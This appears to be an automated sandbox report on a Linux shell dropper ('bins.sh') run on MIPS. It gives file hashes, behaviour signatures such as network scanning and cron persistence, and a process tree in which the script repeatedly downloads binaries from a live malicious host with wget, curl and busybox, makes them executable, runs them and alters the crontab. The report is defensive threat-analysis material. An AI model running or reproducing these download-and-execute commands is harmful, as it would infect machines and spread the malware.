Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    09-11-2024 13:41

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    2423b76f06d59136899a4840e435b324

  • SHA1

    04e69c7b51363355b93f9050ed672ad2d5bf8e22

  • SHA256

    623e3c1314fabbc0c20a6264bcad1f14f53975d61892d2b93a815974ca8c0ff0

  • SHA512

    de88717c2fcdb41324fbd357d35b87c7f4a0af403f8c4eacc5352195e0d5add123c68dc1908c955976c8c9f749c3cc676e85b71b7cb944a106fa6246def3b5e4

  • SSDEEP

    192:fYMLaKmT7JoswkgFCi/qZpwn7kSkgFCiOZpwn7hYMLaKDX:6T7JosgKaX

Malware Config

Signatures

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Contacts a large (1914) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 7 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 7 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 22 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 13 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:706
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:708
        • /usr/bin/wget
          wget http://conn.masjesu.zip/bins/DgY18nfKIcdThLn44egYEVQOYhsN0XsUVY
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:710
        • /usr/bin/curl
          curl -O http://conn.masjesu.zip/bins/DgY18nfKIcdThLn44egYEVQOYhsN0XsUVY
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:736
        • /bin/busybox
          /bin/busybox wget http://conn.masjesu.zip/bins/DgY18nfKIcdThLn44egYEVQOYhsN0XsUVY
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:738
        • /bin/chmod
          chmod 777 DgY18nfKIcdThLn44egYEVQOYhsN0XsUVY
          2⤵
          • File and Directory Permissions Modification
          PID:739
        • /tmp/DgY18nfKIcdThLn44egYEVQOYhsN0XsUVY
          ./DgY18nfKIcdThLn44egYEVQOYhsN0XsUVY
          2⤵
          • Executes dropped EXE
          PID:740
        • /bin/rm
          rm DgY18nfKIcdThLn44egYEVQOYhsN0XsUVY
          2⤵
            PID:742
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/EPTMqMUa11TlOYpKaU3Qr0OvF12s1xDC8Y
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:743
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/EPTMqMUa11TlOYpKaU3Qr0OvF12s1xDC8Y
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:752
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/EPTMqMUa11TlOYpKaU3Qr0OvF12s1xDC8Y
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:770
          • /bin/chmod
            chmod 777 EPTMqMUa11TlOYpKaU3Qr0OvF12s1xDC8Y
            2⤵
            • File and Directory Permissions Modification
            PID:776
          • /tmp/EPTMqMUa11TlOYpKaU3Qr0OvF12s1xDC8Y
            ./EPTMqMUa11TlOYpKaU3Qr0OvF12s1xDC8Y
            2⤵
            • Executes dropped EXE
            PID:779
          • /bin/rm
            rm EPTMqMUa11TlOYpKaU3Qr0OvF12s1xDC8Y
            2⤵
              PID:782
            • /usr/bin/wget
              wget http://conn.masjesu.zip/bins/z5OQVlI8YxHb1rKpxTUnEuGlZyKikO59WA
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:783
            • /usr/bin/curl
              curl -O http://conn.masjesu.zip/bins/z5OQVlI8YxHb1rKpxTUnEuGlZyKikO59WA
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:797
            • /bin/busybox
              /bin/busybox wget http://conn.masjesu.zip/bins/z5OQVlI8YxHb1rKpxTUnEuGlZyKikO59WA
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:799
            • /bin/chmod
              chmod 777 z5OQVlI8YxHb1rKpxTUnEuGlZyKikO59WA
              2⤵
              • File and Directory Permissions Modification
              PID:802
            • /tmp/z5OQVlI8YxHb1rKpxTUnEuGlZyKikO59WA
              ./z5OQVlI8YxHb1rKpxTUnEuGlZyKikO59WA
              2⤵
              • Executes dropped EXE
              • Renames itself
              • Reads runtime system information
              PID:804
              • /bin/sh
                sh -c "crontab -l"
                3⤵
                  PID:806
                  • /usr/bin/crontab
                    crontab -l
                    4⤵
                    • Reads runtime system information
                    PID:807
                • /bin/sh
                  sh -c "crontab -"
                  3⤵
                    PID:809
                    • /usr/bin/crontab
                      crontab -
                      4⤵
                      • Creates/modifies Cron job
                      PID:810
                • /bin/rm
                  rm z5OQVlI8YxHb1rKpxTUnEuGlZyKikO59WA
                  2⤵
                    PID:822
                  • /usr/bin/wget
                    wget http://conn.masjesu.zip/bins/JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6f
                    2⤵
                    • System Network Configuration Discovery
                    PID:827
                  • /usr/bin/curl
                    curl -O http://conn.masjesu.zip/bins/JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6f
                    2⤵
                    • System Network Configuration Discovery
                    PID:829
                  • /bin/busybox
                    /bin/busybox wget http://conn.masjesu.zip/bins/JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6f
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:912
                  • /bin/chmod
                    chmod 777 JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6f
                    2⤵
                    • File and Directory Permissions Modification
                    PID:929
                  • /tmp/JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6f
                    ./JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6f
                    2⤵
                    • Executes dropped EXE
                    PID:930
                  • /bin/rm
                    rm JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6f
                    2⤵
                      PID:932
                    • /usr/bin/wget
                      wget http://conn.masjesu.zip/bins/e9jKHdDKImGWljC5EvIEqyRWKPbUqZGkbq
                      2⤵
                      • System Network Configuration Discovery
                      PID:933
                    • /usr/bin/curl
                      curl -O http://conn.masjesu.zip/bins/e9jKHdDKImGWljC5EvIEqyRWKPbUqZGkbq
                      2⤵
                      • System Network Configuration Discovery
                      PID:934
                    • /bin/busybox
                      /bin/busybox wget http://conn.masjesu.zip/bins/e9jKHdDKImGWljC5EvIEqyRWKPbUqZGkbq
                      2⤵
                      • System Network Configuration Discovery
                      • Writes file to tmp directory
                      PID:936
                    • /bin/chmod
                      chmod 777 e9jKHdDKImGWljC5EvIEqyRWKPbUqZGkbq
                      2⤵
                      • File and Directory Permissions Modification
                      PID:937
                    • /tmp/e9jKHdDKImGWljC5EvIEqyRWKPbUqZGkbq
                      ./e9jKHdDKImGWljC5EvIEqyRWKPbUqZGkbq
                      2⤵
                      • Executes dropped EXE
                      PID:938
                    • /bin/rm
                      rm e9jKHdDKImGWljC5EvIEqyRWKPbUqZGkbq
                      2⤵
                        PID:940
                      • /usr/bin/wget
                        wget http://conn.masjesu.zip/bins/64T3lXPAlQhTDUaFGQmgwI29SnP1CUemlg
                        2⤵
                        • System Network Configuration Discovery
                        PID:941
                      • /usr/bin/curl
                        curl -O http://conn.masjesu.zip/bins/64T3lXPAlQhTDUaFGQmgwI29SnP1CUemlg
                        2⤵
                        • Reads runtime system information
                        • System Network Configuration Discovery
                        PID:942
                      • /bin/busybox
                        /bin/busybox wget http://conn.masjesu.zip/bins/64T3lXPAlQhTDUaFGQmgwI29SnP1CUemlg
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:943
                      • /bin/chmod
                        chmod 777 64T3lXPAlQhTDUaFGQmgwI29SnP1CUemlg
                        2⤵
                        • File and Directory Permissions Modification
                        PID:948
                      • /tmp/64T3lXPAlQhTDUaFGQmgwI29SnP1CUemlg
                        ./64T3lXPAlQhTDUaFGQmgwI29SnP1CUemlg
                        2⤵
                        • Executes dropped EXE
                        PID:949
                      • /bin/rm
                        rm 64T3lXPAlQhTDUaFGQmgwI29SnP1CUemlg
                        2⤵
                          PID:950
                        • /usr/bin/wget
                          wget http://conn.masjesu.zip/bins/reG21Tzcz9iRfNu2Pql8M5DKiBBcerOQDj
                          2⤵
                          • System Network Configuration Discovery
                          PID:951
                        • /usr/bin/curl
                          curl -O http://conn.masjesu.zip/bins/reG21Tzcz9iRfNu2Pql8M5DKiBBcerOQDj
                          2⤵
                          • System Network Configuration Discovery
                          PID:952
                        • /bin/busybox
                          /bin/busybox wget http://conn.masjesu.zip/bins/reG21Tzcz9iRfNu2Pql8M5DKiBBcerOQDj
                          2⤵
                          • System Network Configuration Discovery
                          • Writes file to tmp directory
                          PID:955
                        • /bin/chmod
                          chmod 777 reG21Tzcz9iRfNu2Pql8M5DKiBBcerOQDj
                          2⤵
                          • File and Directory Permissions Modification
                          PID:956
                        • /tmp/reG21Tzcz9iRfNu2Pql8M5DKiBBcerOQDj
                          ./reG21Tzcz9iRfNu2Pql8M5DKiBBcerOQDj
                          2⤵
                          • Executes dropped EXE
                          PID:957
                        • /bin/rm
                          rm reG21Tzcz9iRfNu2Pql8M5DKiBBcerOQDj
                          2⤵
                            PID:959
                          • /usr/bin/wget
                            wget http://conn.masjesu.zip/bins/JaVmaYjjOd0D0lpn4SpRabDztV5ARwE69K
                            2⤵
                            • System Network Configuration Discovery
                            PID:960

                        Network

                        MITRE ATT&CK Enterprise v15

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        • /tmp/64T3lXPAlQhTDUaFGQmgwI29SnP1CUemlg

                          Filesize

                          98KB

                          MD5

                          5141342d0df8699fa32a6b066a0c592e

                          SHA1

                          8157673225bd5182f16215e2aa823a25ca2d4fbc

                          SHA256

                          54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                          SHA512

                          d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                        • /tmp/DgY18nfKIcdThLn44egYEVQOYhsN0XsUVY

                          Filesize

                          119KB

                          MD5

                          1b166b95f9cb4b079ef1b9ec8363ddf3

                          SHA1

                          0d8eb08add467b3b5474f9b25909297fe7c2839c

                          SHA256

                          94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                          SHA512

                          983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                        • /tmp/EPTMqMUa11TlOYpKaU3Qr0OvF12s1xDC8Y

                          Filesize

                          111KB

                          MD5

                          701e7a55a4f3650f5feee92a9860e5fc

                          SHA1

                          6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                          SHA256

                          ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                          SHA512

                          7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                        • /tmp/JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6f

                          Filesize

                          151KB

                          MD5

                          6c583043d91c55aa470c08c87058e917

                          SHA1

                          abf65a5b9bba69980278ad09356e53de8bb89439

                          SHA256

                          2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                          SHA512

                          82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                        • /tmp/e9jKHdDKImGWljC5EvIEqyRWKPbUqZGkbq

                          Filesize

                          112KB

                          MD5

                          05d7857dcead18bbd86d2935f591873c

                          SHA1

                          34d18f41ef35f93d5364ce3e24d74730a4e91985

                          SHA256

                          2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                          SHA512

                          d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                        • /tmp/reG21Tzcz9iRfNu2Pql8M5DKiBBcerOQDj

                          Filesize

                          127KB

                          MD5

                          89077b7bd4bcafca7713be43635c4862

                          SHA1

                          fc02edb8fba29ea8ee99e6157ef8560334530052

                          SHA256

                          78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                          SHA512

                          1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                        • /tmp/z5OQVlI8YxHb1rKpxTUnEuGlZyKikO59WA

                          Filesize

                          151KB

                          MD5

                          3c90d5820bddcf7c5d1bd21dfa49d958

                          SHA1

                          5ba05bd489e50af97d6dc45e3a0be60e494d5083

                          SHA256

                          bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                          SHA512

                          54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                        • /var/spool/cron/crontabs/tmp.z6MaCz

                          Filesize

                          210B

                          MD5

                          41f082bb619e65362e19905668f14b8c

                          SHA1

                          d241815382171f863558203aa8e4793c05a8ece4

                          SHA256

                          ea64e22b8366b19863caa3097fc087eab9913da74af1570cfb2c3cd16537b0cf

                          SHA512

                          113886b38a356d7a2a5edca7c3a7f934d1aaf3d8b367c22fc11c6ee44a6a4301a172bf0fe6562bf2712dd5896c7d16a216d2029ffdc66d554eb4a52ac8e036e4